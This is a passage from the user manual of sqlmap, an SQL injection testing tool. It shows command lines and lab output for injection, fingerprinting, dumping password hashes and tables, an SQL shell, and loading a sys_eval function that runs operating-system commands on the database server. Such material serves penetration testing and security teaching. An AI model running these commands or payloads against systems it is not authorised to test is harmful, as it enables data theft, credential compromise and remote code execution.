>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 \
>       -p "id" --prefix "'" --postfix "AND 'test'='test"

>     [...]
>     [hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
>     [hh:mm:16] [INFO] testing custom injection on GET parameter 'id'
>     [hh:mm:16] [TRAFFIC OUT] HTTP request:
>     GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
>     %28%27test%27=%27test HTTP/1.1
>     Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
>     Host: 172.16.213.131
>     Accept-language: en-us,en;q=0.5
>     Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
>     image/png,*/*;q=0.5
>     User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
>     Connection: close
>     [...]
>     [hh:mm:17] [INFO] GET parameter 'id' is custom injectable
>     [...]

> `

As you can see, the injection payload for testing for custom injection is:

> `

>     id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test

> `

which URL decoded is:

> `

>     id=1') AND 7433=7433 AND ('test'='test

> `

and makes the query syntatically correct to the page query:

> `

>     SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1

> `

In this simple example, sqlmap could detect the SQL injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.

### Page comparison

Options: `-``-string` and `-``-regexp`

By default the distinction of a True query by a False one (basic concept for Inferential blind SQL injection attacks) is done comparing injected requests page content MD5 hash with the original not injected page content MD5 hash. Not always this concept works because sometimes the page content changes at each refresh even not injecting anything, for instance when the page has a counter, a dynamic advertisment banner or any other part of the HTML which is render dynamically and might change in time not only consequently to user's input. To bypass this limit, sqlmap makes it possible to manually provide a string which is always present on the not injected page and on all True injected query pages, but that it is not on the False ones. This can also be achieved by providing a regular expression. Such information is easy for an user to retrieve, simply try to inject on the affected URL parameter an invalid value and compare original (not injected) page content with the injected wrong page content to identify which string or regular expression match is on not injected and True page only. This way the distinction will be based upon string presence or regular expression match and not page MD5 hash comparison.

Example on a MySQL 5.0.67 target on a page which content changes every second due to a call to PHP function `time()`:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \

As you can see, the string after `Dynamic content` changes its value every second. In the example it is just a call to PHP `time()` function, but on the real world it is usually much more than that.

Looking at the HTTP responses page content you can see that the first five lines of code do not change at all. So choosing for instance the word `luther` as an output that is on the not injected page content and it is not on the False page content (because the query condition returns no output so `luther` is not displayed on the page content) and passing it to sqlmap, you are able to inject anyway.

Example on a MySQL 5.0.67 target on a page which content changes every second due to a call to PHP function `time()`:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
>       --string "luther" -v 1

>     [hh:mm:22] [INFO] testing connection to the target url
>     [hh:mm:22] [INFO] testing if the provided string is within the target URL page content
>     [hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
>     [hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic

>     [hh:mm:22] [INFO] testing for parenthesis on injectable parameter
>     [hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
>     [...]

> `

You can also specify a regular expression to match rather than a string if you prefer.

Example on a MySQL 5.0.67 target on a page which content changes every second due to a call to PHP function `time()`:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
>       --regexp "<td>lu[\w][\w]er" -v 1

>     [hh:mm:22] [INFO] testing connection to the target url
>     [hh:mm:22] [INFO] testing if the provided regular expression matches within the target
>     URL page content
>     [hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
>     [hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
>     [hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic

>     [hh:mm:22] [INFO] GET parameter 'id' is dynamic
>     [hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
>     [hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
>     [hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
>     [hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
>     [hh:mm:22] [INFO] testing for parenthesis on injectable parameter
>     [hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
>     [...]

> `

As you can see, when one of these options is specified, sqlmap skips the URL stability test.

Consider one of these options a MUST when dealing with a page with content that changes itself at each refresh without modifying the user's input.

### Exclude specific page content

Options: `-``-excl-str` and `-``-excl-reg`

Another way to get around the dynamicity issue explained above is to exclude the dynamic part from the page content before processing it.

As you see in the above example the number after `Dynamic content:` was dynamic and changed each second. To get around of this problem we could use the above explained page comparison options or exclude this snippet of dynamic text from the page before processing it and comparing it with the not injected page.

As you can see, when this options is specified, sqlmap skips the URL stability test.

## 5.5 Techniques

These options can be used to test for specific SQL injection technique or to use one of them to exploit the affected parameter(s) rather than using the default blind SQL injection technique.

### Test for stacked queries (multiple statements) support

Option: `-``-stacked-test`

It is possible to test if the web application technology supports stacked queries, multiple statements, on the injectable parameter.

Example on a MySQL 5.0.67 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" \
>       --stacked-test -v 1

>     [...]
>     back-end DBMS: MySQL >= 5.0.0

>     [hh:mm:15] [INFO] testing stacked queries support on parameter 'id'
>     [hh:mm:15] [WARNING] the web application does not support stacked queries on parameter 'id'
>     stacked queries support:        None

> `

By default PHP builtin function `mysql_query()` does not support multiple statements. Multiple statements is a feature supported by default only by some web application technologies in relation to the back-end database management system. For instance, as you can see from the next example, where PHP does not support them on MySQL, it does on PostgreSQL.

Example on a PostgreSQL 8.3.5 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
>       --stacked-test -v 1

>     [...]
>     back-end DBMS: PostgreSQL

>     [hh:mm:01] [INFO] testing stacked queries support on parameter 'id'
>     [hh:mm:06] [INFO] the web application supports stacked queries on parameter 'id'
>     stacked queries support:    'id=1; SELECT pg_sleep(5);-- AND 3128=3128'

> `

Example on a Microsoft SQL Server 2005 Service Pack 0 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" \
>       --stacked-test -v 1

>     [...]
>     back-end DBMS: Microsoft SQL Server 2005

>     [hh:mm:09] [INFO] testing stacked queries support on parameter 'name'
>     [hh:mm:23] [INFO] the web application supports stacked queries on parameter 'name'
>     stacked queries support:    'name=luther'; WAITFOR DELAY '0:0:5';-- AND 'wRcBC'='wRcBC'

> `

### Test for time based blind SQL injection

Options: `-``-time-test` and `-``-time-sec`

It is possible to test if the target URL is affected by a time based blind SQL injection vulnerability.

Example on a MySQL 5.0.67 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" \
>       --time-test -v 1

>     [...]
>     back-end DBMS: MySQL >= 5.0.0

>     [hh:mm:05] [INFO] testing time based blind sql injection on parameter 'id' with AND
>     condition syntax
>     [hh:mm:10] [INFO] the parameter 'id' is affected by a time based blind sql injection
>     with AND condition syntax
>     time based blind sql injection payload:    'id=1 AND SLEEP(5) AND 5249=5249'

> `

Example on a PostgreSQL 8.3.5 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
>       --time-test -v 1

>     [...]
>     back-end DBMS: PostgreSQL

>     [hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with AND
>     condition syntax
>     [hh:mm:30] [WARNING] the parameter 'id' is not affected by a time based blind sql
>     injection with AND condition syntax
>     [hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with stacked
>     query syntax
>     [hh:mm:35] [INFO] the parameter 'id' is affected by a time based blind sql injection
>     with stacked query syntax
>     time based blind sql injection payload:    'id=1; SELECT pg_sleep(5);-- AND 9644=9644'

> `

Example on a Microsoft SQL Server 2005 Service Pack 0 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" \
>       --time-test -v 1

>     [...]
>     back-end DBMS: Microsoft SQL Server 2005

>     [hh:mm:59] [INFO] testing time based blind sql injection on parameter 'name' with AND
>     condition syntax
>     [hh:mm:59] [WARNING] the parameter 'name' is not affected by a time based blind sql
>     injection with AND condition syntax
>     [hh:mm:59] [INFO] testing time based blind sql injection on parameter 'name' with stacked
>     query syntax
>     [hh:mm:13] [INFO] the parameter 'name' is affected by a time based blind sql injection with
>     stacked query syntax
>     time based blind sql injection payload:    'name=luther'; WAITFOR DELAY '0:0:5';-- AND
>     'PmrXn'='PmrXn'

> `

It is also possible to set the seconds to delay the response by providing the `-``-time-sec` option followed by an integer. By default delay is set to five seconds.

### Test for UNION query SQL injection

Options: `-``-union-test` and `-``-union-tech`

It is possible to test if the target URL is affected by a UNION query (inband) SQL injection vulnerability. Refer to the Techniques section for details on this SQL injection technique.

Example on an Oracle XE 10.2.0.1 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" \
>       --union-test -v 1

>     [...]
>     back-end DBMS:  Oracle

>     [hh:mm:27] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
>     technique
>     [hh:mm:27] [INFO] the target url could be affected by an inband sql injection vulnerability
>     valid union:    'http://172.16.213.131/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
>     NULL, NULL, NULL FROM DUAL-- AND 6558=6558'

> `

By default sqlmap uses the `NULL` bruteforcing technique to detect the number of columns within the original `SELECT` statement. It is also possible to change it to `ORDER BY` clause bruteforcing with the `-``-union-tech` option.

Further details on these techniques can be found here.

Example on a PostgreSQL 8.3.5 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_str.php?id=1" \
>       --union-test --union-tech orderby -v 1

>     [...]
>     back-end DBMS: PostgreSQL

>     [hh:mm:51] [INFO] testing inband sql injection on parameter 'id' with ORDER BY clause
>     bruteforcing technique
>     [hh:mm:51] [INFO] the target url could be affected by an inband sql injection vulnerability
>     valid union:    'http://172.16.213.150:80/sqlmap/pgsql/get_int.php?id=1 ORDER BY 3-- AND
>     1262=1262'

> `

As you can see, the target URL parameter `id` might be also exploitable by the inband SQL injection technique. In case a case it is strongly recommended to use this technique which saves a lot of time.

It is strongly recommended to run at least once sqlmap with the `-``-union-test` option to test if the affected parameter is used within a `for` cycle, or similar, and in case use `-``-union-use` option to exploit this vulnerability because it saves a lot of time and it does not weight down the web server log file with hundreds of HTTP requests.

### Use the UNION query SQL injection

Option: `-``-union-use`

Providing the `-``-union-use` parameter, sqlmap will first test if the target URL is affected by an inband SQL injection (`-``-union-test`) vulnerability then, in case it seems to be vulnerable, it will confirm that the parameter is affected by a Full UNION query SQL injection and use this technique to go ahead with the exploiting. If the confirmation fails, it will check if the parameter is affected by a Partial UNION query SQL injection, then use it to go ahead if it is vulnerable. In case the inband SQL injection vulnerability is not exploitable, sqlmap will automatically fallback on the blind SQL injection technique to go ahead.

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -v 2 \

As you can see, the vulnerable parameter (`id`) is affected by both blind SQL injection and exploitable full inband SQL injection vulnerabilities.

As you can see, the MySQL `CURRENT_USER()` function (--current-user) output is nested, inband, within the HTTP response page, this makes the inband SQL injection exploited.

In case the inband SQL injection is not fully exploitable, sqlmap will check if it is partially exploitable: this occurs if the query output is not parsed within a `for`, or similar, cycle but only the first entry is displayed in the page content.

Example on a MySQL 5.0.67 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_partialunion.php?id=1" -v 2 \

As you can see, sqlmap identified that the parameter is affected by a partial inband SQL injection. Consequently, it counted the number of query output entries and retrieved them once per time. It forces the parameter (`id`) value `1` to its negative value `-1` so that it does not return, presumibly, any output. That leaves our own `UNION ALL SELECT` statement to produce one entry at a time and display only it in the page content.

## 5.6 Fingerprint

### Extensive database management system fingerprint

Options: `-f` or `-``-fingerprint`

By default the web application's back-end database management system fingerprint is performed requesting a database specific function which returns a known static value. By comparing these value with the returned value it is possible to identify if the back-end database is effectively the one that sqlmap expected. Depending on the DBMS being tested, a SQL dialect syntax which is syntatically correct depending upon the back-end DBMS is also tested.

After identifying an injectable vector, sqlmap fingerprints the back-end database management system and go ahead with the injection with its specific syntax within the limits of the database architecture.

Example on a MySQL 5.0.67 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1

>     [...]
>     [hh:mm:17] [INFO] testing MySQL
>     [hh:mm:17] [INFO] confirming MySQL
>     [hh:mm:17] [INFO] retrieved: 5
>     [hh:mm:17] [INFO] the back-end DBMS is MySQL
>     web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
>     web application technology: PHP 5.2.6, Apache 2.2.9
>     back-end DBMS: MySQL >= 5.0.0

> `

As you can see, sqlmap automatically fingerprints the web server operating system and the web application technology by parsing some HTTP response headers.

If you want to perform an extensive database management system fingerprint based on various techniques like specific SQL dialects and inband error messages, you can provide the `-``-fingerprint` option.

Example on a MySQL 5.0.67 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 -f

Example on a PostgreSQL 8.3.5 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -v 1 -f

As you can see from the last example, sqlmap first tested for MySQL, then for Oracle, then for PostgreSQL since the user did not forced the back-end database management system name with option `-``-dbms`.

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

If you want an even more accurate result, based also on banner parsing, you can also provide the `-b` or `-``-banner` option.

Example on a MySQL 5.0.67 target:

As you can see, sqlmap was also able to fingerprint the back-end DBMS operating system by parsing the DBMS banner value.

As you can see, from the Microsoft SQL Server banner, sqlmap was able to correctly identify the database management system patch level. The Microsoft SQL Server XML versions file is the result of a sqlmap parsing library that fetches data from Chip Andrews' SQLSecurity.com site and outputs it to the XML versions file.

## 5.7 Enumeration

These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements.

### Banner

Option: `-b` or `-``-banner`

Most of the modern database management systems have a function and/or an environment variable which returns details on the database management system version. Also, sometimes it returns the operating system version where the daemon has been compiled on, the operating system architecture, and its service pack. Usually the function is `version()` and the environment variable `@@version`.

Example on a MySQL 5.0.67 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -b -v 0

>     banner:    '5.0.67-0ubuntu6'

### Session user

Option: `-``-current-user`

It is possible to retrieve the database management system's user which is effectively performing the query on the database from the web application.

Example on a MySQL 5.0.67 target:

> `

>     python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --current-user -v 0

>     current user:    'testuser@localhost'

> `

### Current database

Option: `-``-current-db`

It is possible to retrieve the database management system's database the web application is connected to.

### Detect if the session user is a database administrator (DBA)

Option: `-``-is-dba`

It is possible to detect if the current database management system session user is a database administrator.

Example on a PostgreSQL 8.3.5 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 2

>     [...]
>     back-end DBMS: PostgreSQL

>     [hh:mm:49] [INFO] testing if current user is DBA
>     [hh:mm:49] [DEBUG] query: SELECT (CASE WHEN ((SELECT usesuper=true FROM pg_user WHERE
>     usename=CURRENT_USER OFFSET 0 LIMIT 1)) THEN 1 ELSE 0 END)
>     [hh:mm:49] [INFO] retrieved: 1
>     [hh:mm:50] [DEBUG] performed 13 queries in 0 seconds
>     current user is DBA:    'True'

> `

Example on an Oracle XE 10.2.0.1 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" --is-dba -v 2

>     [...]

>     [hh:mm:58] [DEBUG] query: SELECT (CASE WHEN ((SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE
>     GRANTEE=SYS.LOGIN_USER AND GRANTED_ROLE=CHR(68)||CHR(66)||CHR(65))=CHR(68)||CHR(66)||CHR(65))
>     THEN 1 ELSE 0 END) FROM DUAL
>     [hh:mm:58] [INFO] retrieved: 1
>     [hh:mm:58] [DEBUG] performed 13 queries in 0 seconds
>     current user is DBA:    'True'

> `

### Users

Option: `-``-users`

It is possible to enumerate the list of database management system users.

Example on a PostgreSQL 8.3.5 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --users -v 0

>     database management system users [3]:
>     [*] postgres
>     [*] testuser
>     [*] testuser2

> `

### Users password hashes

Options: `-``-passwords` and `-U`

It is possible to enumerate the password hashes for each database management system user.

Example on a MySQL 5.0.67 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --passwords -v 0

>     [*] debian-sys-maint [1]:
>         password hash: *BBDC22D2B1E18C8628D29228649621B32A1B1892
>     [*] root [1]:
>         password hash: *81F5E21235407A884A6CD4A731FEBFB6AF209E1B
>     [*] testuser [1]:
>         password hash: *00E247BD5F9AF26AE0194B71E1E769D1E1429A29

> `

You can also provide the `-U` option to specify the user who you want to enumerate the password hashes.

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --passwords \
>       -U sa -v 0

>     database management system users password hashes:
>     [*] sa [1]:
>         password hash: 0x01000a16d704fa252b7c38d1aeae18756e98172f4b34104d8ce32c2f01b293b03edb7491f
>     ba9930b62ee5d506955
>             header: 0x0100
>             salt: 0a16d704
>             mixedcase: fa252b7c38d1aeae18756e98172f4b34104d8ee3
>             uppercase: 2c2f01b293b03edb7491fba9930b62ce5d506955

> `

As you can see, when you enumerate password hashes on Microsoft SQL Server sqlmap split the hash, useful if you want to crack it.

If you provide `CU` as username it will consider it as an alias for current user and will retrieve the password hashes for this user.

Example on a PostgreSQL 8.3.5 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --passwords \
>       -U CU -v 1

### Users privileges

Options: `-``-privileges` and `-U`

It is possible to enumerate the privileges for each database management system user.

Example on an Oracle XE 10.2.0.1 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" --privileges -v 0

>     [hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS'

>     [*] XDB [2]:
>         privilege: CTXAPP
>         privilege: RESOURCE

> `

You can also provide the `-U` option to specify the user who you want to enumerate the privileges.

Example on a PostgreSQL 8.3.5 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --privileges \
>       -U postgres -v 0

>     database management system users privileges:
>     [*] postgres (administrator) [3]:
>         privilege: catupd
>         privilege: createdb
>         privilege: super

> `

As you can see, depending on the user privileges, sqlmap identifies if the user is a database management system administrator and shows this information next to the username.

If you provide `CU` as username it will consider it as an alias for current user and will enumerate the privileges for this user.

Example on a PostgreSQL 8.3.5 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --passwords \
>       -U CU -v 1

Note that this feature is not available if the back-end database management system is Microsoft SQL Server.

### Available databases

Option: `-``-dbs`

It is possible to enumerate the list of databases.

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --dbs -v 0

>     available databases [6]:
>     [*] master
>     [*] model
>     [*] msdb
>     [*] Northwind
>     [*] pubs
>     [*] tempdb

> `

Note that this feature is not available if the back-end database management system is Oracle.

### Databases tables

Options: `-``-tables` and `-D`

It is possible to enumerate the list of tables for all database management system's databases.

Example on a MySQL 5.0.67 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --tables -v 0

You can also provide the `-D` option to specify the database that you want to enumerate the tables.

Example on a MySQL 5.0.67 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --tables \
>       -D testdb -v 0

>     Database: testdb
>     [1 table]
>     +---------------------------------------+
>     | users                                 |
>     +---------------------------------------+

> `

Example on an Oracle XE 10.2.0.1 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" --tables \
>       -D users -v 0

>     Database: USERS
>     [8 tables]
>     +-------------------+
>     | DEPARTMENTS       |

>     | JOBS              |
>     | LOCATIONS         |
>     | REGIONS           |
>     | USERS             |
>     +-------------------+

> `

Note that on Oracle you have to provide the `TABLESPACE_NAME` instead of the database name. In provided example `users` was used to retrieve all tables owned by an Oracle database management system user.

### Database table columns

Options: `-``-columns`, `-C`, `-T` and `-D`

It is possible to enumerate the list of columns for a specific database table. This functionality depends on the option `-T` to specify the table name and optionally on `-D` to specify the database name.

Example on a MySQL 5.0.67 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --columns \
>       -T users -D testdb -v 1

Note that on PostgreSQL you have to provide `public` or the name of a system database. That's because it is not possible to enumerate other databases tables, only the tables under the schema that the web application's user is connected to, which is always `public`.

If the database name is not specified, the current database name is used.

Example on a MySQL 5.0.67 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --columns \
>       -T users -v 1

You can also provide the `-C` option to specify the table columns name like the one you provided to be enumerated.

Example on a MySQL 5.0.67 target:

### Dump database table entries

Options: `-``-dump`, `-C`, `-T`, `-D`, `-``-start`, `-``-stop`, `-``-first` and `-``-last`

It is possible to dump table entries. This functionality depends on the option `-T` to specify the table name or on the option `-C` to specify the column name and, optionally on `-D` to specify the database name.

If the table name is specified, but the database name is not, the current database name is used.

Example on a MySQL 5.0.67 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --dump \
>       -T users -v 1

You can also provide the `-C` option to specify the table column that you want to enumerate the entries.

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --dump \
>       -T users -D master -C surname -v 0

>     | bunny             |
>     | ming              |
>     | nameisnull        |
>     | user agent header |
>     +-------------------+

If only the column name is specified, sqlmap will enumerate and ask the user to dump all databases' tables containing user provided column(s). This feature can be useful to identify, for instance, tables containing custom application credentials.

Example on a MySQL 5.0.67 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 1 --dump \
>       -C "urna"

sqlmap also stores for each table the dumped entries in a CSV format file. You can see the absolute path where sqlmap stores the dumped tables entries by providing a verbosity level greater than or equal to 1.

Example on a PostgreSQL 8.3.5 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --dump \
>       -T users -D public -v 1

You can also provide the `-``-start` and/or the `-``-stop` options to limit the dump to a range of entries, while those entries can be further limited to a range of character positions provided with `-``-first` and/or the `-``-last` options:

- `-``-start` specifies the first entry to enumerate.
- `-``-stop` specifies the last entry to enumerate.

Example on a MySQL 5.0.67 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --dump \

As you can see, sqlmap is very flexible. You can leave it to automatically enumerate the whole database table up to a range of characters of a single column of a specific table entry.

### Dump all databases tables entries

Options: `-``-dump-all` and `-``-exclude-sysdbs`

It is possible to dump all databases tables entries at once.

Example on a MySQL 5.0.67 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0

>     Database: testdb

You can also provide the `-``-exclude-sysdbs` option to exclude all system databases. In that case sqlmap will only dump entries of users' databases tables.

Note that on Microsoft SQL Server the `master` database is not considered a system database because some database administrators use it as a users' database.

### Execute custom SQL statement

Options: `-``-sql-query` and `-``-sql-shell`

The SQL query and the SQL shell features makes the user able to execute custom SQL statements on the web application's back-end database management. sqlmap automatically dissects the provided statement, determines which technique to use to inject it and how to pack the SQL payload accordingly.

If it is a `SELECT` statement, sqlmap will retrieve its output through the blind SQL injection or UNION query SQL injection technique depending on the user's options. Otherwise it will execute the query through the stacked query SQL injection technique if the web application supports multiple statements on the back-end database management system.

As you can see from the last example, sqlmap splits provided query into two different `SELECT` statements for it to be able to retrieve the output even in case when using the blind SQL injection technique. Otherwise, in UNION query SQL injection technique it only performs a single HTTP request to get the user's query output:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" --sql-query \

>     [*] foo, bar

> `

If your `SELECT` statement contains a `FROM` clause, sqlmap asks the user if such statement can return multiple entries. In that case the tool knows how to unpack the query correctly to retrieve its whole output, entry per entry, when going through blind SQL injection technique. In provided example, UNION query SQL injection it retrieved the whole output in a single response.

Example on a PostgreSQL 8.3.5 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-query \
>       "SELECT usename FROM pg_user" -v 0

>     [hh:mm:32] [INPUT] can the SQL query provided return multiple entries? [Y/n] y
>     [hh:mm:37] [INPUT] the SQL query provided can return up to 3 entries. How many entries
>     do you want to retrieve?
>     [a] All (default)
>     [#] Specific number
>     [q] Quit
>     Choice: 2
>     SELECT usename FROM pg_user [2]:
>     [*] postgres
>     [*] testuser

> `

As you can see from the last example, sqlmap counts the number of entries for a given query and asks for number of entries to dump. Otherwise, if the `LIMIT` is also specified, or similar clause, sqlmap will not ask for anything. It will just unpack the query and return its output, entry per entry, when going through blind SQL injection technique. In a given example, sqlmap used UNION query SQL injection to retrieve the whole output in a single response.

Example on a MySQL 5.0.67 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" --sql-query \

The SQL shell option gives you an access to run your own SQL statement interactively, like a SQL console connected to the back-end database management system. Note that this feature provides TAB completion and history support.

Example of history support on a PostgreSQL 8.3.5 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 0

As you can see the TAB functionality shows the queries defined for the back-end database management system in sqlmap XML queries file, but you can run whatever `SELECT` statement you want.

As you can see from the example, if the `SELECT` statement has an asterisk instead of the column(s) name, sqlmap first retrieves all column names of the current table, asks if the query can return multiple entries and goes on.

Example of SQL statement other than `SELECT` on a PostgreSQL 8.3.5 target:

> `

>     $ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" --sql-shell -v 1

>     [...]
>     back-end DBMS: PostgreSQL

>     [10:hh:mm] [INFO] calling PostgreSQL shell. To quit type 'x' or 'q' and press ENTER
>     sql> SELECT COUNT(name) FROM users
>     [hh:mm:57] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
>     [hh:mm:57] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
>     [hh:mm:59] [INFO] retrieved: 4
>     SELECT COUNT(name) FROM users:    '4'

>     sql> INSERT INTO users (id, name, surname) VALUES (5, 'from', 'sql shell');
>     [hh:mm:35] [INFO] testing stacked queries support on parameter 'id'
>     [hh:mm:40] [INFO] the web application supports stacked queries on parameter 'id'
>     [hh:mm:40] [INFO] executing SQL data manipulation query: 'INSERT INTO users

>     [hh:mm:40] [INFO] done
>     sql> SELECT COUNT(name) FROM users
>     [hh:mm:51] [INFO] fetching SQL SELECT statement query output: 'SELECT COUNT(name) FROM users'
>     [hh:mm:51] [INPUT] can the SQL query provided return multiple entries? [Y/n] n
>     [hh:mm:53] [INFO] retrieved: 5
>     SELECT COUNT(name) FROM users:    '5'

> `

As you can see from the example, when the user provides a SQL statement other than `SELECT`, sqlmap recognizes it, tests if the web application supports stacked queries and in case it does, it executes the provided SQL statement in a multiple statement mode.

Beware that some web application technologies do not support stacked queries on specific database management systems. For instance, PHP does not support stacked queries when the back-end DBMS is MySQL, but it does support when the back-end DBMS is PostgreSQL.

## 5.8 User-defined function injection

### Inject custom user-defined functions (UDF)

Options: `-``-udf-inject` and `-``-shared-lib`

You can inject your own user-defined functions (UDFs) by compiling a MySQL or PostgreSQL shared library, DLL for Windows and shared object for Linux/Unix, then provide sqlmap with the path where the shared library is stored locally on your machine. sqlmap will then ask you some questions, upload the shared library on the database server file system, create the user-defined function(s) from it and, depending on your options, execute them. When you are finished using the injected UDFs, sqlmap can also remove them from the database for you.

Example on a PostgreSQL 8.4:

> `

>     $ python sqlmap.py -u http://172.16.213.131/sqlmap/pgsql/get_int8.4.php?id=1 --udf-inject -v 0

>     [...]
>     web application technology: PHP 5.2.6, Apache 2.2.9
>     back-end DBMS: PostgreSQL

>     which is the local path of the shared library? udf/postgresql/linux/8.4/lib_postgresqludf_sys.so
>     how many user-defined functions do you want to create from the shared library? 1
>     what is the name of the UDF number 1? sys_eval
>     how many input parameters takes UDF 'sys_eval'? (default: 1)
>     what is the data-type of input parameter number 1? (default: text)
>     what is the data-type of the return value? (default: text)
>     do you want to call your injected user-defined functions now? [Y/n/q] y
>     which UDF do you want to call?
>     [1] sys_eval
>     [q] Quit
>     > 1
>     what is the value of the parameter number 1 (data-type: text)? echo test
>     do you want to retrieve the return value of the UDF? [Y/n]
>     return value:    'test'

>     do you want to call this or another injected UDF? [Y/n] n
>     do you want to remove UDF 'sys_eval'? [Y/n]
>     [12:00:10] [WARNING] remember that UDF shared object files saved on the file system can only
>     be deleted manually

> `

If you want, you can specify the shared library local file system path via command line using `-``-shared-lib` option.

## 5.9 File system access

